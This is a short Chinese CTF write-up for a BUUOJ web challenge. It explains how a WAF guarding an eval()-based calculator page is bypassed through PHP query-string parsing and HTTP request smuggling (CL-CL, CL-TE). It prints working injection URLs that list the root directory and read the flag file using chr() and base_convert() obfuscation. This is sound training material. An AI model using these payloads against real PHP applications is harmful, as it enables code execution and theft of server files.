简介
原题复现:
考察知识点:http协议走私、php字符串解析漏洞
线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题
过程
一枚菜狗打开页面 懵逼一个小时然后 搜索WP。。。。。
查看源码发现
利用php字符串解析漏洞
计算的时候会访问calc.php页面 访问它获得源码 审计发现有个过滤 过滤完执行eval()
所以可以构造
http://node3.buuoj.cn:28719/calc.php?num=phpinfo() 出错 被waf挡住了
http://node3.buuoj.cn:28719/calc.php?%20num=phpinfo() 利用php字符串解析特性在变量前面加上空格即可绕过 绕过姿势文章:https://www.freebuf.com/column/207936.html
继续构造
http://node3.buuoj.cn:28719/calc.php?%20num=var_dump(scandir(chr(47)))
http://node3.buuoj.cn:28719/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
HTTP走私绕过WAF
http协议走私基础:https://www.cnblogs.com/xhds/p/12339994.html
CL-CL
两个CL直接导致前端转发的服务器400,而且完整转发了post包给后端。
CL-TE
CL和TE直接导致前端转发的服务器400,而且完整转发了post包给后端。
构造payload获得Flag
使用scandir()函数
、readfile()函数
、base_convert()函数
、dechex() 函数
、hex2bin() 函数
(chr()函数
)
36进制scandir
->10进制61693386291
36进制readfile
->10进制2146934604002
ascii码/
->16进制2f->10进制47
36进制f1agg->10进制25254448(读取根目录得到的)
var_dump(base_convert(61693386291,10,36)(chr(47)))
读取flag
var_dump(base_convert(2146934604002,10,36)(chr(47).base_convert(25254448,10,36)))
参考学习:https://xz.aliyun.com/t/6654